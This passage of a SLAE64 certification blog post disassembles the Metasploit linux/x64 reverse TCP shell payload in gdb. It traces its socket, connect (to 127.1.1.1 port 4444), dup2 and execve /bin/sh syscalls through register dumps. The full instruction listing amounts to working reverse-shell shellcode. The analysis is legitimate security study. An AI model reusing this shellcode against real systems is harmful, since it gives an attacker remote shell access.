uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
shellcode
shellcode.c
exit
geobour98@slae64-dev:~$

gdb

We load shellcode on gdb, set a breakpoint at the code variable, run and disassemble:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/3_reverse$ gdb ./shellcode -q
Reading symbols from ./shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) print/x &code
$1 = 0x601060
(gdb) break *0x601060
Breakpoint 1 at 0x601060
(gdb) run
Starting program: /home/geobour98/SLAE/custom/SLAE64/5_Msfvenom_payloads/3_reverse/shellcode 
Shellcode Length: 17

Breakpoint 1, 0x0000000000601060 in code ()
(gdb) disassemble 
Dump of assembler code for function code:
=> 0x0000000000601060 <+0>:	push   0x29
   0x0000000000601062 <+2>:	pop    rax
   0x0000000000601063 <+3>:	cdq    
   0x0000000000601064 <+4>:	push   0x2
   0x0000000000601066 <+6>:	pop    rdi
   0x0000000000601067 <+7>:	push   0x1
   0x0000000000601069 <+9>:	pop    rsi
   0x000000000060106a <+10>:	syscall 
   0x000000000060106c <+12>:	xchg   rdi,rax
   0x000000000060106e <+14>:	movabs rcx,0x101017f5c110002
   0x0000000000601078 <+24>:	push   rcx
   0x0000000000601079 <+25>:	mov    rsi,rsp
   0x000000000060107c <+28>:	push   0x10
   0x000000000060107e <+30>:	pop    rdx
   0x000000000060107f <+31>:	push   0x2a
   0x0000000000601081 <+33>:	pop    rax
   0x0000000000601082 <+34>:	syscall 
   0x0000000000601084 <+36>:	push   0x3
   0x0000000000601086 <+38>:	pop    rsi
   0x0000000000601087 <+39>:	dec    rsi
   0x000000000060108a <+42>:	push   0x21
   0x000000000060108c <+44>:	pop    rax
   0x000000000060108d <+45>:	syscall 
   0x000000000060108f <+47>:	jne    0x601087 <code+39>
   0x0000000000601091 <+49>:	push   0x3b
   0x0000000000601093 <+51>:	pop    rax
   0x0000000000601094 <+52>:	cdq    
   0x0000000000601095 <+53>:	movabs rbx,0x68732f6e69622f
   0x000000000060109f <+63>:	push   rbx
   0x00000000006010a0 <+64>:	mov    rdi,rsp
   0x00000000006010a3 <+67>:	push   rdx
   0x00000000006010a4 <+68>:	push   rdi
   0x00000000006010a5 <+69>:	mov    rsi,rsp
   0x00000000006010a8 <+72>:	syscall 
   0x00000000006010aa <+74>:	add    BYTE PTR [rax],al
---Type <return> to continue, or q <return> to quit---
End of assembler dump.

We can see from the instructions that 4 syscalls are going to be executed and in order to identify their numbers and arguments we put breakpoints before each execution (0x000000000060106a, 0x0000000000601082, 0x000000000060108d and 0x00000000006010a8). Then, we continue the execution of the program and check the contents of the registers.

1
2
3
4
5
6
7
8
(gdb) break *0x000000000060106a
Breakpoint 2 at 0x60106a
(gdb) break *0x0000000000601082
Breakpoint 3 at 0x601082
(gdb) break *0x000000000060108d
Breakpoint 4 at 0x60108d
(gdb) break *0x00000000006010a8
Breakpoint 5 at 0x6010a8

1st syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.

Breakpoint 2, 0x000000000060106a in code ()
(gdb) info registers
rax            0x29	41
rbx            0x0	0
rcx            0x7fffffeb	2147483627
rdx            0x0	0
rsi            0x1	1
rdi            0x2	2
rbp            0x7fffffffdc40	0x7fffffffdc40
rsp            0x7fffffffdc28	0x7fffffffdc28
r8             0x0	0
r9             0x15	21
r10            0x0	0
r11            0x246	582
r12            0x400470	4195440
r13            0x7fffffffdd20	140737488346400
r14            0x0	0
r15            0x0	0
rip            0x60106a	0x60106a <code+10>
eflags         0x206	[ PF IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

The syscall with number 41 (RAX register) is socket. It takes 3 arguments (domain, type and protocol) that are located in RDI, RSI and RDX respectively. RDI has the value 2 because of the AF_INET address family (IPv4). RSI has the value 1 because this is a TCP socket (SOCK_STREAM). RDX has the value 0 because a single protocol is supported on a particular socket.

2nd syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.

Breakpoint 3, 0x0000000000601082 in code ()
(gdb) info registers
rax            0x2a	42
rbx            0x0	0
rcx            0x101017f5c110002	72340715531730946
rdx            0x10	16
rsi            0x7fffffffdc20	140737488346144
rdi            0x3	3
rbp            0x7fffffffdc40	0x7fffffffdc40
rsp            0x7fffffffdc20	0x7fffffffdc20
r8             0x0	0
r9             0x15	21
r10            0x0	0
r11            0x306	774
r12            0x400470	4195440
r13            0x7fffffffdd20	140737488346400
r14            0x0	0
r15            0x0	0
rip            0x601082	0x601082 <code+34>
eflags         0x206	[ PF IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

The syscall with number 42 (RAX register) is connect. It takes 3 arguments (sockfd, addr, addrlen) that are located in RDI, RSI and RDX respectively. RDI has the value 3 since this is the return value (file descriptor) from the socket syscall execution. RSI has the value 0x7fffffffdc20 because it is the memory address of the struct that contains the protocol family value, the port and the interface to listen on. We can disassemble the program at this point in order to view those values.

1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) disassemble 
Dump of assembler code for function code:
<snip>
   0x000000000060106c <+12>:	xchg   rdi,rax
   0x000000000060106e <+14>:	movabs rcx,0x101017f5c110002
   0x0000000000601078 <+24>:	push   rcx
   0x0000000000601079 <+25>:	mov    rsi,rsp
   0x000000000060107c <+28>:	push   0x10
   0x000000000060107e <+30>:	pop    rdx
   0x000000000060107f <+31>:	push   0x2a
   0x0000000000601081 <+33>:	pop    rax
=> 0x0000000000601082 <+34>:	syscall
<snip>

The quad word 0x101017f5c110002 becomes the value at the RCX register and is then pushed to the stack. The following values are represented in little endian format:

  • 0x101017f: 127.1.1.1 in decimal which is the address we provided
  • 5c11: 4444 in decimal which is the port to connect to
  • 2 which is the protocol family

Also, RDX has the value 16 because this is the size of the address struct.

3rd syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.

Breakpoint 4, 0x000000000060108d in code ()
(gdb) info registers
rax            0x21	33
rbx            0x0	0
rcx            0x400474	4195444
rdx            0x10	16
rsi            0x2	2
rdi            0x3	3
rbp            0x7fffffffdc40	0x7fffffffdc40
rsp            0x7fffffffdc20	0x7fffffffdc20
r8             0x0	0
r9             0x15	21
r10            0x0	0
r11            0x306	774
r12            0x400470	4195440
r13            0x7fffffffdd20	140737488346400
r14            0x0	0
r15            0x0	0
rip            0x60108d	0x60108d <code+45>
eflags         0x202	[ IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

By disassembling the program we can see that there is a loop executing the dup2 syscall (number 33) in order to redirect everything to the socket connected. This syscall takes 2 arguments: oldfd and newfd. oldfd is the return value from the socket syscall (RDI register) and RSI has the values 2, 1 and 0 in each dup2 execution for STDERR, STDOUT and STDIN respectively.

1
2
3
4
5
6
7
8
9
10
11
(gdb) disassemble 
Dump of assembler code for function code:
<snip>
   0x0000000000601084 <+36>:	push   0x3
   0x0000000000601086 <+38>:	pop    rsi
   0x0000000000601087 <+39>:	dec    rsi
   0x000000000060108a <+42>:	push   0x21
   0x000000000060108c <+44>:	pop    rax
=> 0x000000000060108d <+45>:	syscall 
   0x000000000060108f <+47>:	jne    0x601087 <code+39>
<snip>

4th syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.

Breakpoint 5, 0x00000000006010a8 in code ()
(gdb) info registers
rax            0x3b	59
rbx            0x68732f6e69622f	29400045130965551
rcx            0x400474	4195444
rdx            0x0	0
rsi            0x7fffffffdc08	140737488346120
rdi            0x7fffffffdc18	140737488346136
rbp            0x7fffffffdc40	0x7fffffffdc40
rsp            0x7fffffffdc08	0x7fffffffdc08
r8             0x0	0
r9             0x15	21
r10            0x0	0
r11            0x346	838
r12            0x400470	4195440
r13            0x7fffffffdd20	140737488346400
r14            0x0	0
r15            0x0	0
rip            0x6010a8	0x6010a8 <code+72>
eflags         0x246	[ PF ZF IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

The syscall with number 59 (RAX register) is execve. It takes 3 arguments (filename, argv[] and envp[]) that are located in RDI, RSI and RDX respectively. RDI has the value 0x7fffffffdc18 because it is the memory address for the program to run, which is “/bin/sh”. We can examine that memory location as a string to verify that.

1
2
(gdb) x/s 0x7fffffffdc18
0x7fffffffdc18:	"/bin/sh"

RSI has the value 0x7fffffffdc08 because it points to the memory location of the string “/bin/sh”. RDX has the value 0 because there isn’t an array of strings that is passed as environment to the new program.

The analysis of the linux/x64/shell_reverse_tcp payload is over and the shellcode is working!

Summary

All the payloads (exec, shell_bind_tcp, shell_reverse_tcp) were analyzed thoroughly.

Next will be the polymorphic shellcodes!

SLAE64 Blog Post

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=7

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-36167

This post is licensed under CC BY 4.0 by the author.